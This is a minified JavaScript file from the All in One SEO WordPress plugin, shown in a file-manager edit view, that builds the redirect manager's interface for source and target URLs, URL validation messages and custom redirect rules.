File manager - Edit - /home/adiance/public_html/wp-content/plugins/all-in-one-seo-pack/dist/Lite/assets/js/Index.d4232dd9.js
Back
import{b as J,k as V,u as P}from"./links.4c32e7b9.js";import{C as B,b as H,c as z,d as O}from"./Caret.da0d1a59.js";import{J as Q}from"./JsonValues.870a4901.js";import{a as k}from"./strings.da852d37.js";import{C as G}from"./ProBadge.a2777953.js";import{S as K}from"./External.b6186288.js";import{r as u,o,c as m,a as i,F as T,M as $,b as g,w as d,D as U,t as f,f as h,I as N,d as c,J as L,e as Z,$ as X}from"./vue.runtime.esm-bundler.ba5c08e0.js";import{_ as w}from"./_plugin-vue_export-helper.80405f63.js";import{S as q}from"./Exclamation.8e89b656.js";import{B as ee}from"./Checkbox.5408a8ad.js";import{C as W,S as Y}from"./index.df267eaa.js";import{G as te,a as se}from"./Row.76881ed1.js";import{S as re}from"./Gear.29c1fe07.js";import{T as F}from"./Slide.3af65e43.js";import{C as le}from"./Tooltip.d28f6bf4.js";import{S as ie}from"./Plus.3b9712cb.js";const oe={emits:["set-url"],components:{CoreProBadge:G,SvgExternal:K},props:{results:{type:Array,required:!0},url:String},data(){return{strings:{DRAFT:this.$t.__("DRAFT",this.$td),PENDING:this.$t.__("PENDING",this.$td),FUTURE:this.$t.__("FUTURE",this.$td)}}},methods:{getOptionTitle(e){e=e.replace(/<\/?[^>]+(>|$)/g,"");const t=this.url.replace(/<\/?[^>]+(>|$)/g,""),s=new RegExp(`(${t})`,"gi");return e.replace(s,'<span class="search-term">$1</span>')},getStatusLabel(e){switch(e.toLowerCase()){case"draft":return this.strings.DRAFT;case"future":return this.strings.FUTURE;case"pending":return this.strings.PENDING}}}},ne={class:"aioseo-add-redirection-url-results"},ue=["onClick"],ae={class:"option"},ce={class:"option-title"},he=["innerHTML"],de={class:"option-details"},ge=["href","onClick"];function _e(e,t,s,_,r,l){const a=u("core-pro-badge"),y=u("svg-external");return o(),m("div",ne,[i("ul",null,[(o(!0),m(T,null,$(s.results,(R,E)=>(o(),m("li",{key:E,onClick:C=>e.$emit("set-url",R.link)},[i("span",null,[i("div",ae,[i("div",ce,[i("div",{innerHTML:l.getOptionTitle(R.label)},null,8,he),R.status!=="publish"?(o(),g(a,{key:0},{default:d(()=>[U(f(l.getStatusLabel(R.status)),1)]),_:2},1024)):h("",!0)]),i("div",de,[i("span",null,f(R.link),1)])]),i("a",{class:"option-permalink",href:R.link,target:"_blank",onClick:N(()=>{},["stop"])},[c(y)],8,ge)])],8,ue))),128))])])}const j=w(oe,[["render",_e]]);const pe={setup(){return{postEditorStore:J(),redirectsStore:V(),rootStore:P()}},components:{CoreAddRedirectionUrlResults:j,CoreLoader:B,SvgCircleCheck:H,SvgCircleClose:z,SvgCircleExclamation:q},props:{url:String,errors:Array,warnings:Array},data(){return{showResults:!1,isLoading:!1,value:null,results:[]}},watch:{value(){this.value&&(this.value=this.value.replace(/(https?:\/)(\/)+|(\/)+/g,"$1$2$3"),this.value.startsWith("/")&&(this.value=this.value.replace(/\s+/g,"")))},url:{immediate:!0,handler(){this.value=this.url}}},methods:{onBlur(){setTimeout(()=>{this.$emit("update:modelValue",this.value)},150)},searchChange(){if(this.value){if(this.value.startsWith("/")||this.value.startsWith("http:")||this.value.startsWith("https:")){this.isLoading=!1;return}this.isLoading=!0,O(()=>{if(!this.value){this.isLoading=!1;return}this.showResults=!0,this.ajaxSearch(this.value).then(()=>this.isLoading=!1)},500)}},ajaxSearch(e){return this.redirectsStore.getPosts({query:e,postId:this.postEditorStore.currentPost.id}).then(t=>{this.results=t.body.objects})},setUrl(e){this.showResults=!1,this.value=e.replace(this.rootStore.aioseo.urls.mainSiteUrl,"",e),this.$emit("update:modelValue",this.value)},documentClick(e){if(!this.showResults)return;const t=e&&e.target?e.target:null,s=this.$refs["redirect-target-url"];s&&s!==t&&!s.contains(t)&&(this.showResults=!1)}},mounted(){document.addEventListener("click",this.documentClick)},beforeUnmount(){document.removeEventListener("click",this.documentClick)}},me={class:"aioseo-add-redirection-target-url",ref:"redirect-target-url"},fe={class:"append-icon"};function Re(e,t,s,_,r,l){const a=u("svg-circle-close"),y=u("svg-circle-check"),R=u("svg-circle-exclamation"),E=u("core-loader"),C=u("base-input"),b=u("core-add-redirection-url-results");return o(),m("div",me,[c(C,{modelValue:r.value,"onUpdate:modelValue":[t[0]||(t[0]=S=>r.value=S),t[2]||(t[2]=S=>e.$emit("update:modelValue",r.value))],onKeyup:l.searchChange,onFocus:t[1]||(t[1]=S=>r.showResults=!0),onBlur:t[3]||(t[3]=S=>e.$emit("blur",r.value)),size:"medium",placeholder:"/target-page/",class:L({"aioseo-error":s.errors.length,"aioseo-active":!s.errors.length&&!s.warnings.length&&s.url,"aioseo-warning":s.warnings.length})},{"append-icon":d(()=>[i("div",fe,[r.isLoading?h("",!0):(o(),m(T,{key:0},[s.errors.length?(o(),g(a,{key:0})):h("",!0),!s.errors.length&&!s.warnings.length&&s.url?(o(),g(y,{key:1})):h("",!0),s.warnings.length?(o(),g(R,{key:2})):h("",!0)],64)),r.isLoading?(o(),g(E,{key:1,dark:""})):h("",!0)])]),_:1},8,["modelValue","onKeyup","class"]),r.showResults&&r.results.length?(o(),g(b,{key:0,results:r.results,url:r.value,onSetUrl:l.setUrl},null,8,["results","url","onSetUrl"])):h("",!0)],512)}const ve=w(pe,[["render",Re]]),Ue=function(e,t){if(typeof e!="string")return e;const s=new RegExp("^"+t.replace(/\/$/,""),"i");return e.replace(s,"")};const ye={setup(){return{redirectsStore:V(),rootStore:P()}},emits:["updated-url","remove-url","updated-option"],components:{BaseCheckbox:ee,CoreAddRedirectionUrlResults:j,CoreAlert:W,CoreLoader:B,GridColumn:te,GridRow:se,SvgCircleCheck:H,SvgCircleClose:z,SvgCircleExclamation:q,SvgGear:re,SvgTrash:Y,TransitionSlide:F},props:{url:{type:Object,default(){return{id:null,url:null,regex:!1,ignoreSlash:!0,ignoreCase:!0,errors:[],warnings:[]}}},allowDelete:Boolean,targetUrl:String,log404:Boolean,disableSource:Boolean},data(){return{showResults:!1,isLoading:!1,showOptions:!1,strings:{ignoreSlash:this.$t.__("Ignore Slash",this.$td),ignoreCase:this.$t.__("Ignore Case",this.$td),regex:this.$t.__("Regex",this.$td)},results:[]}},watch:{targetUrl(){this.updateSourceUrl(this.url.url)}},computed:{maybeRegex(){return this.url.url.match(/[*\\()[\]^$]/)!==null||this.url.url.indexOf(".?")!==-1},invalidUrl(){var t;if(!this.url.url)return!1;const e=[];if(this.url.regex)try{new RegExp(this.url.url)}catch{return e.push(this.$t.__("The regex syntax is invalid.",this.$td)),e}if(!this.url.regex&&!k(this.url.url))return e.push(this.$t.__("Your URL is invalid.",this.$td)),e;if(this.url.url.substr(0,4)==="http"&&e.push(this.$t.__("Please enter a valid relative source URL.",this.$td)),this.url.url.match(/%[a-zA-Z]+%/)&&e.push(this.$t.__("Permalinks are not currently supported.",this.$td)),(this.url.url==="/(.*)"||this.url.url==="^/(.*)")&&e.push(this.$t.__("This redirect is supported using the Relocate Site feature under Full Site Redirect tab.",this.$td)),this.url.url&&this.url.url.length&&this.targetUrl&&this.targetUrl.length){let s=this.url.ignoreSlash?this.$links.unTrailingSlashIt(this.url.url):this.url.url,_=this.url.ignoreSlash?this.$links.unTrailingSlashIt(this.targetUrl):this.targetUrl;s=this.url.ignoreCase?s.toLowerCase():s,_=this.url.ignoreCase?_.toLowerCase():_,(s===_||this.url.regex&&_.match(s))&&e.push(this.$t.__("Your source is the same as a target and this will create a loop.",this.$td))}if(0<((t=this.redirectsStore)==null?void 0:t.protectedPaths.length)){const s=this.redirectsStore.protectedPaths.map(_=>_.replace(/\/$/,""));this.url.url.match(new RegExp("^("+s.join("|")+")"))&&e.push(this.$t.__("Your source is a protected path and cannot be redirected.",this.$td))}return e},iffyUrl(){if(!this.url.url||this.disableSource)return[];const e=[];return this.url.url.substr(0,4)!=="http"&&this.url.url.substr(0,1)!=="/"&&0<this.url.url.length&&!this.url.regex&&e.push(this.$t.sprintf(this.$t.__("The source URL should probably start with a %1$s",this.$td),"<code>/</code>")),this.url.url.indexOf("#")!==-1&&e.push(this.$t.__("Anchor values are not sent to the server and cannot be redirected.",this.$td)),!this.log404&&this.maybeRegex&&!this.url.regex&&e.push(this.$t.sprintf(this.$t.__("Remember to enable the %1$s option if this is a regular expression.",this.$td),"<code>Regex</code>")),this.url.regex&&(this.url.url.indexOf("^")===-1&&this.url.url.indexOf("$")===-1&&e.push(this.$t.sprintf(this.$t.__("To prevent a greedy regular expression you can use %1$s to anchor it to the start of the URL. For example: %2$s",this.$td),"<code>^/</code>","<code>^/"+k(this.url.url.replace(/^\//,""))+"</code>")),0<this.url.url.indexOf("^")&&e.push(this.$t.sprintf(this.$t.__("The caret %1$s should be at the start. For example: %2$s",this.$td),"<code>^/</code>","<code>^/"+k(this.url.url.replace("^","").replace(/^\//,""))+"</code>")),this.url.url.indexOf("^")===0&&this.url.url.indexOf("^/")===-1&&e.push(this.$t.sprintf(this.$t.__("The source URL should probably start with a %1$s",this.$td),"<code>^/</code>")),this.url.url.length-1!==this.url.url.indexOf("$")&&this.url.url.indexOf("$")!==-1&&e.push(this.$t.sprintf(this.$t.__("The dollar symbol %1$s should be at the end. For example: %2$s",this.$td),"<code>$</code>","<code>"+k(this.url.url.replace(/\$/g,""))+"$</code>"))),this.url.url.match(/(\.html|\.htm|\.php|\.pdf|\.jpg)$/)!==null&&e.push(this.$t.__("Some servers may be configured to serve file resources directly, preventing a redirect occurring.",this.$td)),e},urlOptionsActive(){return this.url.regex||this.showOptions}},methods:{updateSourceUrl(e){e&&(this.disableSource||(e&&(e=e.replace(/(https?:\/)(\/)+|(\/)+/g,"$1$2$3")),!this.url.regex&&e.startsWith("/")&&(e=e.replace(/\s+/g,"")),e=Ue(e,this.rootStore.aioseo.urls.home)),this.url.url=e,this.url.errors=this.invalidUrl,this.url.warnings=this.iffyUrl,this.$emit("updated-url",this.url))},updateOption(e,t){this.url[e]=t,this.updateSourceUrl(this.url.url),this.$emit("updated-option",this.url)},searchChange(){if(!(!this.url.url||this.url.regex)){if(this.url.url.startsWith("/")||this.url.url.startsWith("^")||this.url.url.startsWith("http:")||this.url.url.startsWith("https:")){this.isLoading=!1;return}this.isLoading=!0,O(()=>{if(!this.url.url){this.isLoading=!1;return}this.showResults=!0,this.ajaxSearch(this.url.url).then(()=>this.isLoading=!1)},500)}},ajaxSearch(e){return this.redirectsStore.getPosts({query:e}).then(t=>{this.results=t.body.objects})},setUrl(e){this.showResults=!1,this.updateOption("url",e.replace(this.rootStore.aioseo.urls.mainSiteUrl,"",e))},documentClick(e){if(!this.showResults)return;const t=e&&e.target?e.target:null,s=this.$refs["redirect-source-url"];s&&s!==t&&!s.contains(t)&&(this.showResults=!1)}},mounted(){this.url.showOptions&&(this.showOptions=!0,this.updateSourceUrl(this.url.url)),document.addEventListener("click",this.documentClick)},beforeUnmount(){document.removeEventListener("click",this.documentClick)}},Se={class:"aioseo-redirect-source-url",ref:"redirect-source-url"},be={class:"append-icon"};function Te(e,t,s,_,r,l){const a=u("svg-circle-close"),y=u("svg-circle-check"),R=u("svg-circle-exclamation"),E=u("svg-gear"),C=u("svg-trash"),b=u("core-loader"),S=u("base-input"),D=u("core-add-redirection-url-results"),n=u("base-checkbox"),p=u("grid-column"),I=u("grid-row"),A=u("transition-slide"),M=u("core-alert");return o(),m("div",Se,[c(S,{modelValue:s.url.url,"onUpdate:modelValue":t[2]||(t[2]=v=>l.updateSourceUrl(v)),onKeyup:l.searchChange,onFocus:t[3]||(t[3]=v=>r.showResults=!0),disabled:s.log404||s.disableSource,size:"medium",placeholder:"/source-page/",class:L({"aioseo-error":s.url.errors.length,"aioseo-active":!s.url.errors.length&&!s.url.warnings.length&&s.url.url,"aioseo-warning":s.url.warnings.length})},{"append-icon":d(()=>[i("div",be,[r.isLoading?h("",!0):(o(),m(T,{key:0},[s.url.errors.length?(o(),g(a,{key:0})):h("",!0),!s.url.errors.length&&!s.url.warnings.length&&s.url.url?(o(),g(y,{key:1})):h("",!0),s.url.warnings.length?(o(),g(R,{key:2})):h("",!0),c(E,{class:L({active:l.urlOptionsActive}),onClick:t[0]||(t[0]=v=>r.showOptions=!r.showOptions)},null,8,["class"]),s.allowDelete?(o(),g(C,{key:3,onClick:t[1]||(t[1]=v=>e.$emit("remove-url"))})):h("",!0)],64)),r.isLoading?(o(),g(b,{key:1,dark:""})):h("",!0)])]),_:1},8,["modelValue","onKeyup","disabled","class"]),!s.url.regex&&r.showResults&&r.results.length?(o(),g(D,{key:0,results:r.results,url:s.url.url,onSetUrl:l.setUrl},null,8,["results","url","onSetUrl"])):h("",!0),s.log404?h("",!0):Z(e.$slots,"source-url-description",{key:1}),c(A,{active:r.showOptions,class:"source-url-options"},{default:d(()=>[i("div",null,[c(I,null,{default:d(()=>[c(p,{xs:"4"},{default:d(()=>[c(n,{size:"medium",modelValue:s.url.ignoreSlash,"onUpdate:modelValue":t[4]||(t[4]=v=>l.updateOption("ignoreSlash",v))},{default:d(()=>[U(f(r.strings.ignoreSlash),1)]),_:1},8,["modelValue"])]),_:1}),c(p,{xs:"4"},{default:d(()=>[c(n,{size:"medium",modelValue:s.url.ignoreCase,"onUpdate:modelValue":t[5]||(t[5]=v=>l.updateOption("ignoreCase",v))},{default:d(()=>[U(f(r.strings.ignoreCase),1)]),_:1},8,["modelValue"])]),_:1}),!s.log404&&!s.disableSource?(o(),g(p,{key:0,xs:"4"},{default:d(()=>[c(n,{size:"medium",modelValue:s.url.regex,"onUpdate:modelValue":t[6]||(t[6]=v=>l.updateOption("regex",v))},{default:d(()=>[U(f(r.strings.regex),1)]),_:1},8,["modelValue"])]),_:1})):h("",!0)]),_:1})])]),_:1},8,["active"]),c(A,{active:!!s.url.errors.length},{default:d(()=>[(o(!0),m(T,null,$(s.url.errors,(v,x)=>(o(),g(M,{key:x,class:"source-url-error",type:"red",size:"small",innerHTML:v},null,8,["innerHTML"]))),128))]),_:1},8,["active"]),c(A,{active:!!s.url.warnings.length},{default:d(()=>[(o(!0),m(T,null,$(s.url.warnings,(v,x)=>(o(),g(M,{key:x,class:"source-url-warning",type:"yellow",size:"small",innerHTML:v},null,8,["innerHTML"]))),128))]),_:1},8,["active"])],512)}const Ee=w(ye,[["render",Te]]);const Ce={type:null,key:null,value:null,regex:null},$e={setup(){return{rootStore:P()}},components:{CoreTooltip:le,SvgCirclePlus:ie,SvgTrash:Y},props:{editCustomRules:Array},data(){return{strings:{customRules:this.$t.__("Custom Rules",this.$td),selectMatchRule:this.$t.__("Select Rule",this.$td),delete:this.$t.__("Delete",this.$td),add:this.$t.__("Add Custom Rule",this.$td),regex:this.$t.__("Regex",this.$td),selectAValue:this.$t.__("Select a Value or Add a New One",this.$td),key:this.$t.__("Key",this.$td),value:this.$t.__("Value",this.$td)},customRules:[],types:[{label:this.$constants.REDIRECTS_CUSTOM_RULES_LABELS.login,value:"login",placeholder:this.$t.__("Select Status",this.$td),singleRule:!0,options:[{label:this.$constants.REDIRECTS_CUSTOM_RULES_LABELS.loggedin,value:"loggedin"},{label:this.$constants.REDIRECTS_CUSTOM_RULES_LABELS.loggedout,value:"loggedout"}]},{label:this.$constants.REDIRECTS_CUSTOM_RULES_LABELS.role,value:"role",multiple:!0,placeholder:this.$t.__("Select Roles",this.$td),options:Object.entries(this.rootStore.aioseo.user.roles).map(e=>({label:e[1],value:e[0]}))},{label:this.$constants.REDIRECTS_CUSTOM_RULES_LABELS.referrer,value:"referrer",regex:!0,singleRule:!0},{label:this.$constants.REDIRECTS_CUSTOM_RULES_LABELS.agent,value:"agent",regex:!0,taggable:!0,multiple:!0,options:[{label:this.$constants.REDIRECTS_CUSTOM_RULES_LABELS.mobile,value:"mobile",docLink:this.$links.getDocLink(this.$t.__("Learn more",this.$td),"redirectCustomRulesUserAgent",!0)},{label:this.$constants.REDIRECTS_CUSTOM_RULES_LABELS.feeds,value:"feeds",docLink:this.$links.getDocLink(this.$t.__("Learn more",this.$td),"redirectCustomRulesUserAgent",!0)},{label:this.$constants.REDIRECTS_CUSTOM_RULES_LABELS.libraries,value:"libraries",docLink:this.$links.getDocLink(this.$t.__("Learn more",this.$td),"redirectCustomRulesUserAgent",!0)}]},{label:this.$constants.REDIRECTS_CUSTOM_RULES_LABELS.cookie,value:"cookie",keyValuePair:!0,regex:!0},{label:this.$constants.REDIRECTS_CUSTOM_RULES_LABELS.ip,value:"ip",placeholder:this.$t.__("Enter an IP Address",this.$td),taggable:!0,regex:!0,singleRule:!0},{label:this.$constants.REDIRECTS_CUSTOM_RULES_LABELS.server,value:"server",placeholder:this.$t.__("Enter the Server Name",this.$td),regex:!0,singleRule:!0},{label:this.$constants.REDIRECTS_CUSTOM_RULES_LABELS.header,value:"header",keyValuePair:!0,regex:!0},{label:this.$constants.REDIRECTS_CUSTOM_RULES_LABELS.wp_filter,value:"wp_filter",placeholder:this.$t.__("Enter a WordPress Filter Name",this.$td),taggable:!0},{label:this.$constants.REDIRECTS_CUSTOM_RULES_LABELS.locale,value:"locale",taggable:!0,regex:!0,placeholder:this.$t.__("Enter a Locale Code, e.g.: en_GB, es_ES",this.$td),singleRule:!0}]}},computed:{hasCustomRules(){return 0<this.customRules.length},filteredTypes(){return this.types.map(e=>(e.$isDisabled=!1,e.singleRule&&this.customRules.find(t=>e.value===t.type)&&(e.$isDisabled=!0),e))}},methods:{removeRule(e){this.customRules.splice(e,1),this.hasCustomRules||this.addRule(null)},addRule(e,t=!1){e||(e=JSON.parse(JSON.stringify(Ce))),(!t||t&&this.customRules.filter(s=>s===e).length===0)&&this.customRules.push(e)},updateRule(e,t,s){const _=this.customRules[s];t=typeof t.value<"u"?t.value:t,t=typeof t=="object"&&t.length?t.map(r=>r.value):t,_[e]=t,e==="type"&&(_.value=""),this.customRules[s]=_},getRuleValue(e,t,s=!1){if(!this.customRules[t])return;let r=this.customRules[t][e],l=null;if(s)return r;switch(e){case"type":r=this.types.find(a=>r===a.value);break;case"value":l=this.getType(t,"options"),l&&(typeof r=="object"?r=r.map(a=>l.find(y=>a===y.value)||a).filter(a=>!!a):r=l.find(a=>r===a.value)||r),this.getType(t,"taggable")&&(r=typeof r=="object"?r.map(a=>typeof a.label>"u"?{label:a,value:a}:a):[]);break}return r},getType(e,t){const s=this.getRuleValue("type",e);return t?s&&typeof s[t]<"u"?s[t]:!1:s}},mounted(){this.editCustomRules&&(this.customRules=this.editCustomRules),this.hasCustomRules||this.addRule(null)}},Le={class:"custom-rules"},ke={class:"redirects-options-table",cellspacing:"0",cellpadding:"0","aria-label":"Custom Rules"},we={colspan:"2"},De={class:"rule-settings"},Ae={class:"actions"},xe={colspan:"2"};function Ve(e,t,s,_,r,l){const a=u("base-select"),y=u("base-input"),R=u("base-toggle"),E=u("svg-trash"),C=u("core-tooltip"),b=u("svg-circle-plus"),S=u("base-button");return o(),m("div",Le,[i("table",ke,[i("thead",null,[i("tr",null,[i("td",we,f(r.strings.customRules),1)])]),i("tbody",null,[(o(!0),m(T,null,$(r.customRules,(D,n)=>(o(),m("tr",{class:L(["rule",{even:n%2===0}]),key:n},[i("td",De,[c(a,{options:l.filteredTypes,size:"medium",placeholder:r.strings.selectMatchRule,modelValue:l.getRuleValue("type",n),"onUpdate:modelValue":p=>l.updateRule("type",p,n)},null,8,["options","placeholder","modelValue","onUpdate:modelValue"]),l.getType(n,"options")||l.getType(n,"taggable")?(o(),g(a,{key:0,options:l.getType(n,"options")||[],size:"medium",modelValue:l.getRuleValue("value",n),"onUpdate:modelValue":p=>l.updateRule("value",p,n),multiple:l.getType(n,"multiple")||l.getType(n,"taggable"),taggable:l.getType(n,"taggable"),placeholder:l.getType(n,"placeholder")||r.strings.selectAValue},null,8,["options","modelValue","onUpdate:modelValue","multiple","taggable","placeholder"])):h("",!0),l.getType(n,"keyValuePair")?(o(),g(y,{key:1,modelValue:l.getRuleValue("key",n),"onUpdate:modelValue":p=>l.updateRule("key",p,n),size:"medium",placeholder:l.getType(n,"placeholderKey")||r.strings.key},null,8,["modelValue","onUpdate:modelValue","placeholder"])):h("",!0),!l.getType(n,"options")&&!l.getType(n,"taggable")?(o(),g(y,{key:2,modelValue:l.getRuleValue("value",n),"onUpdate:modelValue":p=>l.updateRule("value",p,n),size:"medium",placeholder:l.getType(n,"placeholder")||r.strings.value,disabled:!l.getType(n)},null,8,["modelValue","onUpdate:modelValue","placeholder","disabled"])):h("",!0),l.getType(n,"regex")?(o(),g(R,{key:3,modelValue:l.getRuleValue("regex",n),"onUpdate:modelValue":p=>l.updateRule("regex",p,n)},{default:d(()=>[U(f(r.strings.regex),1)]),_:2},1032,["modelValue","onUpdate:modelValue"])):h("",!0)]),i("td",Ae,[c(C,{class:"action",type:"action"},{tooltip:d(()=>[U(f(r.strings.delete),1)]),default:d(()=>[c(E,{onClick:p=>l.removeRule(n)},null,8,["onClick"])]),_:2},1024)])],2))),128))]),i("tfoot",null,[i("tr",null,[i("td",xe,[c(S,{size:"small-table",type:"black",onClick:t[0]||(t[0]=D=>l.addRule(null))},{default:d(()=>[c(b),U(" "+f(r.strings.add),1)]),_:1})])])])])])}const Pe=w($e,[["render",Ve],["__scopeId","data-v-f2939b25"]]),Oe={},Ie={width:"36",height:"16",viewBox:"0 0 36 16",fill:"none",xmlns:"http://www.w3.org/2000/svg",class:"aioseo-right-arrow"},Me=i("path",{d:"M36 8L28.4211 0.5V6.125H0V9.875H28.4211V15.5L36 8Z",fill:"currentColor"},null,-1),Be=[Me];function He(e,t){return o(),m("svg",Ie,Be)}const ze=w(Oe,[["render",He]]),Ne={methods:{redirectHasUnPublishedPost(e){return e.post_id&&e.postStatus!=="publish"}}};const qe={setup(){return{redirectsStore:V()}},emits:["cancel","added-redirect"],components:{CoreAddRedirectionTargetUrl:ve,CoreAddRedirectionUrl:Ee,CoreAlert:W,CustomRules:Pe,SvgRightArrow:ze,TransitionSlide:F},mixins:[Q,Ne],props:{edit:Boolean,log404:Boolean,disableSource:Boolean,url:Object,urls:Array,target:String,type:Number,query:String,slash:Boolean,case:Boolean,rules:{type:Array,default(){return[]}},postId:Number,postStatus:String},data(){return{genericError:!1,showAdvancedSettings:!1,addingRedirect:!1,targetUrl:null,targetUrlErrors:[],targetUrlWarnings:[],sourceUrls:[],redirectType:null,queryParam:null,customRules:[],strings:{redirectType:this.$t.__("Redirect Type:",this.$td),targetUrl:this.$t.__("Target URL",this.$td),targetUrlDescription:this.$t.__("Enter a URL or start by typing a page or post title, slug or ID.",this.$td),addUrl:this.$t.__("Add URL",this.$td),sourceUrlDescription:this.$t.sprintf(this.$t.__("Enter a relative URL to redirect from or start by typing in page or post title, slug or ID. You can also use regex (%1$s)",this.$td),this.$links.getDocLink(this.$t.__("what's this?",this.$td),"redirectManagerRegex")),advancedSettings:this.$t.__("Advanced Settings",this.$td),queryParams:this.$t.__("Query Parameters:",this.$td),saveChanges:this.$t.__("Save Changes",this.$td),cancel:this.$t.__("Cancel",this.$td),genericErrorMessage:this.$t.__("An error occurred while adding your redirects. Please try again later.",this.$td),sourceUrlSetOncePublished:this.$t.__("source url set once post is published",this.$td)},sourceDisabled:!1}},watch:{sourceUrls:{deep:!0,handler(){O(()=>this.checkForDuplicates(),500)}}},computed:{saveIsDisabled(){return!!this.sourceUrls.filter(e=>!e.url).length||!!this.sourceUrls.filter(e=>0<e.errors.length).length||this.redirectTypeHasTarget()&&!this.targetUrl},getRelativeAbsolute(){const e=this.targetUrl.match(/^\/([a-zA-Z0-9_\-%]*\..*)\//);return e?e[0]:null},sourceUrl(){return 1<this.sourceUrls.length?this.$t.__("Source URLs",this.$td):this.$t.__("Source URL",this.$td)},addRedirect(){return 1<this.sourceUrls.length?this.$t.__("Add Redirects",this.$td):this.$t.__("Add Redirect",this.$td)},hasTargetUrlErrors(){if(!this.targetUrl)return[];const e=[],t=k(this.targetUrl);if(!t)return e.push(this.$t.__("Your target URL is not valid.",this.$td)),e;this.targetUrl&&!this.beginsWith(this.targetUrl,"https://")&&!this.beginsWith(this.targetUrl,"http://")&&this.targetUrl.substr(0,1)!=="/"&&e.push(this.$t.sprintf(this.$t.__("Your target URL should be an absolute URL like %1$s or start with a slash %2$s.",this.$td),"<code>https://domain.com/"+t+"</code>","<code>/"+t+"</code>"));const s=this.targetUrl.match(/[|\\$]/g);return s!==null&&(this.sourceUrls.map(r=>r.regex).every(r=>r)||e.push(this.$t.sprintf(this.$t.__("Your target URL contains the invalid character(s) %1$s",this.$td),"<code>"+s+"</code>"))),e},hasTargetUrlWarnings(){if(!k(this.targetUrl))return[];const e=[];return this.getRelativeAbsolute&&e.push(this.$t.sprintf(this.$t.__("Your URL appears to contain a domain inside the path: %1$s. Did you mean to use %2$s instead?",this.$td),"<code>"+this.getRelativeAbsolute+"</code>","<code>https:/"+this.getRelativeAbsolute+"</code>")),e},getDefaultRedirectType(){let e=this.getJsonValue(this.redirectsStore.options.redirectDefaults.redirectType);return e||(e=this.$constants.REDIRECT_TYPES[0]),e},getDefaultQueryParam(){let e=this.getJsonValue(this.redirectsStore.options.redirectDefaults.queryParam);return e||(e=this.$constants.REDIRECT_QUERY_PARAMS[0]),e},getDefaultSlash(){return this.redirectsStore.options.redirectDefaults.ignoreSlash},getDefaultCase(){return this.redirectsStore.options.redirectDefaults.ignoreCase},getDefaultSourceUrls(){return[JSON.parse(JSON.stringify(this.getDefaultSourceUrl))]},getDefaultSourceUrl(){return{id:null,url:null,regex:!1,ignoreSlash:this.slash||this.getDefaultSlash||!1,ignoreCase:this.case||this.getDefaultCase||!1,errors:[],warnings:[]}},redirectQueryParams(){return 0<this.sourceUrls.filter(e=>e.regex).length?this.$constants.REDIRECT_QUERY_PARAMS.map(e=>(e.$isDisabled=!1,e.value==="exact"&&(e.$isDisabled=!0,this.queryParam.value==="exact"&&(this.queryParam=this.$constants.REDIRECT_QUERY_PARAMS.find(t=>!t.$isDisabled))),e)):this.$constants.REDIRECT_QUERY_PARAMS.map(e=>(e.$isDisabled=!1,e))},unPublishedPost(){return this.redirectHasUnPublishedPost({post_id:this.postId,postStatus:this.postStatus})}},methods:{beginsWith(e,t){return t.indexOf(e)===0||e.substr(0,t.length)===t},addUrl(){this.sourceUrls.push(JSON.parse(JSON.stringify(this.getDefaultSourceUrl)))},removeUrl(e){this.sourceUrls.splice(e,1)},addRedirects(){this.genericError=!1,this.addingRedirect=!0,this.sourceUrls.map(e=>(e.url.substr(0,4)!=="http"&&e.url.substr(0,1)!=="/"&&0<e.url.length&&!e.regex&&(e.url="/"+e.url),e)),this.redirectsStore.create({sourceUrls:this.sourceUrls,targetUrl:this.targetUrl,queryParam:this.queryParam.value,customRules:this.customRules,redirectType:this.redirectType.value,redirectTypeHasTarget:this.redirectTypeHasTarget(),group:this.log404?"404":"manual",postId:this.postId}).then(()=>{this.$emit("added-redirect"),window.aioseoBus.$emit("added-redirect"),this.reset()}).catch(e=>{this.handleError(e)})},saveChanges(){this.genericError=!1,this.addingRedirect=!0,this.sourceUrls[0].url.substr(0,4)!=="http"&&this.sourceUrls[0].url.substr(0,1)!=="/"&&0<this.sourceUrls[0].url.length&&!this.sourceUrls[0].regex&&(this.sourceUrls[0].url="/"+this.sourceUrls[0].url),this.redirectsStore.update({id:this.sourceUrls[0].id,payload:{sourceUrls:this.sourceUrls,targetUrl:this.targetUrl,queryParam:this.queryParam.value,customRules:this.customRules,redirectType:this.redirectType.value,redirectTypeHasTarget:this.redirectTypeHasTarget(),postId:this.postId}}).then(()=>{this.reset()}).catch(e=>{console.error(e),this.handleError(e)})},handleError(e){if(e.response.status!==409||!e.response.body.failed||!e.response.body.failed.length){this.genericError=!0,this.addingRedirect=!1;return}const t=[],s=e.response.body.failed,_=this.$t.__("A redirect already exists for this source URL. To make changes, edit the original instead.",this.$td);s.forEach(r=>{const l=this.sourceUrls.findIndex(a=>a.url===r.url||r);l!==-1&&(this.sourceUrls[l].errors.find(a=>a===r.error||a===_)||this.sourceUrls[l].errors.push(r.error||_),t.push(l))});for(let r=this.sourceUrls.length-1;0<=r;r--)t.includes(r)||this.sourceUrls.splice(r,1);this.addingRedirect=!1},updateTargetUrl(e){this.targetUrl=e,this.targetUrlErrors=this.hasTargetUrlErrors,this.targetUrlWarnings=this.hasTargetUrlWarnings},reset(){if(this.showAdvancedSettings=!1,this.addingRedirect=!1,this.edit)return;const e=this.$constants.REDIRECT_TYPES.find(s=>s.value===this.type)||this.getDefaultRedirectType,t=this.$constants.REDIRECT_QUERY_PARAMS.find(s=>s.value===this.query)||this.getDefaultQueryParam;this.sourceUrls=[JSON.parse(JSON.stringify(this.getDefaultSourceUrl))],this.targetUrl=null,this.targetUrlErrors=[],this.targetUrlWarnings=[],this.redirectType=e||{label:"301 "+this.$t.__("Moved Permanently",this.$td),value:301},this.queryParam=t||{label:this.$t.__("Ignore all parameters",this.$td),value:"ignore"},this.customRules=[]},checkForDuplicates(){const e=[];this.sourceUrls.forEach((t,s)=>{if(!(!t.url||t.errors.length)){if(e.includes(t.url.replace(/\/$/,""))){this.sourceUrls[s].errors.push(this.$t.__("This is a duplicate of a URL you are already adding. You can only add unique source URLs.",this.$td));return}e.push(t.url.replace(/\/$/,""))}}),this.updateTargetUrl(this.targetUrl)},redirectTypeHasTarget(){return this.redirectType&&(typeof 